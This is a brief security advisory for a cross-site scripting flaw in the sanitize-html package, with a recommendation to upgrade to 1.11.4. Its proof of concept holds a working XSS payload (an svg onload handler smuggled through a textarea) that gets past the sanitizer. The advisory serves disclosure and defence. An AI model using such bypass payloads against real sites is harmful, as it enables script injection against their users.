Description

Cross-Site Scripting in sanitize-html Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);...
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Recommendation

Update to version 1.11.4 or later.

Mitigation

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